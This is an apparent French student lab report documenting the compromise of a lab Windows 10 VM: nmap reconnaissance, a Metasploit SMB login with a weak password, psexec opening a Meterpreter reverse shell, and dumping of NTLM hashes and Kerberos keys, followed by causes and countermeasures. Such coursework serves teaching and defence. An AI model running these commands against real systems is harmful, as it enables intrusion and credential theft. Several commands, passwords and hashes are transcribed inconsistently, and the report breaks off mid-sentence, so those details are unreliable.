COMPTE RENDU – TP 3.2

Attaque d'un système Windows et extraction d'identifiants

- **Cible win10 (192.168.56.3)**
- **Attaquant kali (192.168.56.4)**

1. Vérification de l'accessibilité de la cible

Objectif : Confirmer que la machine Windows est joignable.

Commande exécutée :
Ping 192.168.56.3

Réponses ICMP reçues, TTL autour de 128 (Windows).

```
┌──(root㉿awouna)-[~]
└─# ping 192.168.56.3
PING 192.168.56.3 (192.168.56.3) 56(84) bytes of data.
64 bytes from 192.168.56.3: icmp_seq=1 ttl=128 time=2.92 ms
64 bytes from 192.168.56.3: icmp_seq=2 ttl=128 time=5.36 ms
^C
--- 192.168.56.3 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 2.916/4.138/5.361/1.222 ms
```

Terminal Kali montrant le succès du Ping.

2. Scan des services exposés

Objectif : Identifier les ports ouverts sur la cible.

Commande :

nmap -sS 192.168.56.3

Observation :
Port 445/tcp (SMB) ouvert – essentiel pour la suite.

```
┌──(root㉿awouna)-[~]
└─# nmap -sS 192.168.56.3
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 13:21 +0200
Nmap scan report for 192.168.56.3
Host is up (0.0023s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
MAC Address: 08:00:27:F1:7C:2B (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds
```

Résultat du scan Nmap avec le port 445 visible.

3. Découverte du système sans authentification

Commande :
nmap -A -p 445 --script smb-os-discovery 192.168.56.3

Informations obtenues :

· Nom de la machine
· Version de Windows
· Groupe de travail

```
┌──(root㉿awouna)-[~]
└─# nmap -A -p 445 --script smb-os-discovery 192.168.56.3
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-27 13:24 +0200
Nmap scan report for 192.168.56.3
Host is up (0.0066s latency).

PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:F1:7C:2B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 22H2
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   6.64 ms 192.168.56.3

OS and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.77 seconds
```

Extraction des informations système via le script Nmap.

4. Liste des partages SMB accessibles anonymement

Commande :
smbclient -L //192.168.56.20 -N

Analyse :
Certains partages peuvent être listés même sans mot de passe (mauvaise configuration).

```
┌──(root㉿awouna)-[~]
└─# smbclient -l //192.168.56.3 -N
[2026/04/27 13:27:58,  0] lib/util/debug.c:1269(reopen_one_log)
  reopen_one_log: Unable to open new log file '//192.168.56.3/log.smbclient':
 Aucun fichier ou dossier de ce nom
Utilisation : smbclient [-?EgqBNPkV] [-?|--help] [--usage]
        [-M|--message=HOST] [-I|--ip-address=IP] [-E|--stderr]
        [-L|--list=HOST] [-T|--tar=<c|x>IXFvgbNan] [-D|--directory=DIR]
        [-c|--command=CHAINE] [-b|--send-buffer=BYTES] [-t|--timeout=SECONDS]
        [-p|--port=PORT] [-g|--grepable] [-q|--quiet] [-B|--browse]
        [-d|--debuglevel=DEBUGLEVEL] [--debug-stdout]
        [-s|--configfile=CONFIGFILE] [--option=name=value]
        [-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full]
        [-R|--name-resolve=NAME-RESOLVE-ORDER]
        [-O|--socket-options=SOCKETOPTIONS] [-m|--max-protocol=MAXPROTOCOL]
        [-n|--netbiosname=NETBIOSNAME] [--netbios-scope=SCOPE]
        [-W|--workgroup=WORKGROUP] [--realm=REALM]
        [-U|--user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|--no-pass]
        [--password=CHAINE] [--pw-nt-hash] [-A|--authentication-file=FILE]
        [-P|--machine-pass] [--simple-bind-dn=DN]
        [--use-kerberos=desired|required|off] [--use-krb5-ccache=CCACHE]
        [--use-winbind-ccache] [--client-protection=sign|encrypt|off]
        [-k|--kerberos] [-V|--version] [OPTIONS] service <password>
```

Affichage des partages SMB.

5.choix d’un partage de fichier et tentative d’accès

6.Création d’un compte à mot de passe faible (Windows)

Objectif : Simuler un cas réel d’identifiant faible.

Commande PowerShell (admin) sur Windows :

net user testuser Password123! /add et un autre compte testuser cyber123!

```
Testez le nouveau système multiplateforme PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> net user testuser passsword123! /add
La commande s'est terminée correctement.

PS C:\Windows\system32>
```

Commande exécutée et confirmation de création.

6. Test de connexion avec Metasploit (smb_login)

Commandes msfconsole :

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.56.3
set SMBUser testuser
set SMBPass Password123!
run

Résultat :
Success: testuser:Password123!

```
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf auxiliary(scanner/smb/smb_login) > set SMBUser testuser
SMBUser => testuser
msf auxiliary(scanner/smb/smb_login) > set SMBPass passsword123!
SMBPass => passsword123!
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.3:445      - 192.168.56.3:445      - Starting SMB login bruteforce
[+] 192.168.56.3:445      - 192.168.56.3:445      - Success: '.\testuser:passsword123!'
[!] 192.168.56.3:445      - No active DB -- Credential data will not be saved!
[*] 192.168.56.3:445      - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.3:445      - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.3:445      - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) >
```

Success: testuser:cyber123!

```
msf exploit(windows/smb/psexec) > back
msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf auxiliary(scanner/smb/smb_login) > set SMBUser testuser
SMBUser => testuser
msf auxiliary(scanner/smb/smb_login) > set SMBPass cyber123!
SMBPass => cyber123!
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.3:445      - 192.168.56.3:445      - Starting SMB login bruteforce
[+] 192.168.56.3:445      - 192.168.56.3:445      - Success: '.\testuser:cyber123!'
[!] 192.168.56.3:445      - No active DB -- Credential data will not be saved!
[*] 192.168.56.3:445      - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.3:445      - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.3:445      - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
```

Ligne de succès Metasploit.

7. Obtention d'un accès distant avec psexec

Commandes :
use exploit/windows/smb/psexec
set RHOSTS 192.168.56.3
set SMBUser testuser
set SMBPass Password123!

run

Après succès :
Ouverture d'une session Meterpreter.

```
msf exploit(windows/smb/psexec) > set RHOSTS 192.168.56.3
RHOSTS => 192.168.56.3
msf exploit(windows/smb/psexec) > set SMBUser testuser
SMBUser => testuser
msf exploit(windows/smb/psexec) > set SMBPass cyber123!
SMBPass => cyber123!
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.56.4:4444
[*] 192.168.56.3:445 - Connecting to the server...
[*] 192.168.56.3:445 - Authenticating to 192.168.56.3:445 as user 'testuser'...
[*] 192.168.56.3:445 - Selecting PowerShell target
[*] 192.168.56.3:445 - Executing the payload...
[+] 192.168.56.3:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.4:4444 -> 192.168.56.3:49675) at 2026-04-27 15:23:58 +0200
meterpreter >
```

Exploit lancé avec succès.

8. Vérification de l'accès et élévation de privilèges

Commandes Meterpreter :
getuid (Get User ID): afficher sur lequel le metapreteur s'exécute

```
meterpreter > getuid
Server username: AUTORITE NT\Système
```

Sysinfo : cette commande nous renseigne sur les informations courantes dans la machine cible et peut voir la version du system d'exploitation, le nom de la machine, le nombre d'utilisateur et bien d'autre.

```
meterpreter > sysinfo
Computer        : DESKTOP-77L4T6G
OS              : Windows 10 21H1 (10.0 Build 19043).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

getsystem :pour en privilège dans le système.

```
meterpreter > getsystem
[-] Already running as SYSTEM
```

Extraction des information sensibe les kiwi et Hashdump etant inefficace sur win10/win11 on a utliser smart_hasdump:

Background

=>Use post/windows/gther/smart_hasdump

=>Set session 1

=>Run

```
meterpreter > background
[*] Backgrounding session 1 ...
msf exploit(windows/smb/psexec) > use post/windows/gather/smart_hashdump
msf post(windows/gather/smart_hashdump) > set session 1
session => 1
msf post(windows/gather/smart_hashdump) > run
[*] Running module against DESKTOP-77L4T6G (192.168.56.3)
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20260427154931_default_192.168.56.3_windows.hashes_199884.txt
[*] Dumping password hashes ...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key ...
[*]     Calculating the hboot key using SYSKEY c90d5203aec2ad8f075abf3a230698fd ...
[*]     Obtaining the user list and keys ...
[*]     Decrypting user keys ...
[*]     Dumping password hints ...
[*]     No users with password hints on this system
[*]     Dumping password hashes ...
[+]     Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     malick:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     testuser:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Post module execution completed
msf post(windows/gather/smart_hashdump) >
```

Interpretation tout lw compte ont le meme hash ce signifie mot de passe vide ou n’ont jamais été utiliser. Mais nous que le compte testuser a bell et bien un mot de passe.

Maintenant avec la commande :

-load kiwi

-lsa_dump_sam

```
Success.
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : DESKTOP-77L4T6G
SysKey : c90d5203aec2ad8f075abf3a230698fd
Local SID : S-1-5-21-1802839438-1027370135-891786537

SAMKey : 18f426c17809a1c5ab0dbaf46fd1e0e0

RID  : 000001f4 (500)
User : Administrateur

RID  : 000001f5 (501)
User : Invit◆

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: e00265ce2026b79242a089d3f1dfa42f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 9156b1b88a879270ec79639177c76ceb

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
```

```
    Credentials
      aes256_hmac       (4096) : 239b57c49da31cd18ed007b833df7dd58cdf0bc7f39e0c8b9e6ac250f89cbd19
      aes128_hmac       (4096) : 20a1ce86dec8d0319c348182754a685d
      des_cbc_md5       (4096) : 023838d3349ee5f1

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 023838d3349ee5f1

RID  : 000003e9 (1001)
User : malick
  Hash NTLM: 2d20d252a479f485cdf5e171d93985bf

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 5af680534731e1f4bde3c06bf45d96d3

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-77L4T6Gmalick
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 11af7a3d3d0366da953ca3235e74f8fae6531d231d0165dd3ee9757e6dfc9431
      aes128_hmac       (4096) : c31fe663b97dcbd42adb839a3383ab55
      des_cbc_md5       (4096) : 768f37e008ab0b8c
```

```
RID  : 000003ea (1002)
User : testuser
  Hash NTLM: 0103901b3e97509bc169169b8ce18765

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 312a8aff304b2a88f25eae4280ef1ddf

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-77L4T6Gtestuser
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 05e7d7498ce4964b80a3115968a27610b7f3a3ab2035c2c872d4e53bc26c65a0
      aes128_hmac       (4096) : 341028d651b7ab89c48516238547baa1
      des_cbc_md5       (4096) : 86074a9749e0c4d5
    OldCredentials
      aes256_hmac       (4096) : fac8670188d11f84f6d2a8b1bc77a752d7e8ac9a17668224683de6ba0f54e596
      aes128_hmac       (4096) : e4ced8bcd55affef5916d96a0834fda7
      des_cbc_md5       (4096) : e0944925152c4098
    OlderCredentials
      aes256_hmac       (4096) : fac8670188d11f84f6d2a8b1bc77a752d7e8ac9a17668224683de6ba0f54e596
      aes128_hmac       (4096) : e4ced8bcd55affef5916d96a0834fda7
      des_cbc_md5       (4096) : e0944925152c4098

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-77L4T6Gtestuser
    Credentials
```

analyse des captures :

1. Compte testuser

– Hash NTLM obtenu
RID : 000003ea (1002)
User : testuser
Hash NTLM : 0103901b3e97509bc169169b8ce18765

2. Compte malick – Hash NTLM
RID : 000003e9 (1001)
User : malick
Hash NTLM : 2d20d252a479f485cdf5e171d93985bf

3. Compte WDAGUtilityAccount – Hash NTLM

Hash NTLM : e00265ce2026b79242a089d3f1df4a2f

4. Résumé de lsa_dump_sam (structure SAM)

· SysKey : c90d5203aec2ad8f075abf3a230698fd
· SAMKey : 18f426c17809a1c5ab0dbaf46fd1e0e0
· Comptes listés : Administrateur, Invité, DefaultAccount, WDAGUtilityAccount, malick, testuser
Compte Hash NTLM Interprétation
testuser 0103901b3e97509bc169169b8ce18765 Hash valide (mot de passe cyber123! ou autre)
malick 2d20d252a479f485cdf5e171d93985bf Hash valide
WDAGUtilityAccount e00265ce2026b79242a089d3f1df4a2f Hash valide (compte Windows défaut)
Administrateur (non affiché mais hash vide dans smart_hashdump) Probablement pas de mot de passe

10. Analyse des causes de la compromission

Cause Explication
Mot de passe faible Password123! Ou cyber123! est trivial à deviner ou brute-forcer
SMB accessible sans restriction Permet la découverte et la connexion
Compte utilisateur autorisé en connexion distante testuser peut utiliser psexec
Absence de politique de verrouillage Plusieurs tentatives possibles

11. Mesures correctives proposées

1. Politique de mots de passe robuste

· Longueur minimale, complexité, interdiction des mots courants.

2. Désactiver SMBv1 et restreindre l'accès SMB
· Ne pas autoriser les connexions anonymes.

3. Utiliser LAPS (Local Administrator Password Solution)
· Éviter les mots de passe locaux identiques ou faibles.

4. Activer Windows Defender Credential Guard
· Protège les hashs en mémoire.

5. Journalisation et détection
· Surveiller les événements 4625 (échec de connexion) et 5140 (accès SMB).

12. Utilisation avancée des outils

Nmap

· -sC : scripts par défaut
· -p- : tous les ports
· Exemple :

```
nmap -p 445 --script smb-protocols 192.168.56.3
```

smbclient

· -U : spécifier un utilisateur
· -c : exécuter une commande

```
smbclient //192.168.56.3/C$ -U testuser -c "ls"
```

Metasploit

· Utiliser show options après use
· setg pour des variables globales
· sessions -i 1 pour interagir avec une session
· run post/windows/gather/hashdump après élévation

Conclusion

Ce TP montre qu'un attaquant disposant d'un simple accès réseau peut compromettre un poste Windows à cause d'un mot de passe faible et d'un service SMB mal configuré.

L’extraction des hashs permet ensuite un mouvement latéral dans le réseau.
La sécurité repose avant tout sur les bonnes pratiques de configuration et de gestion des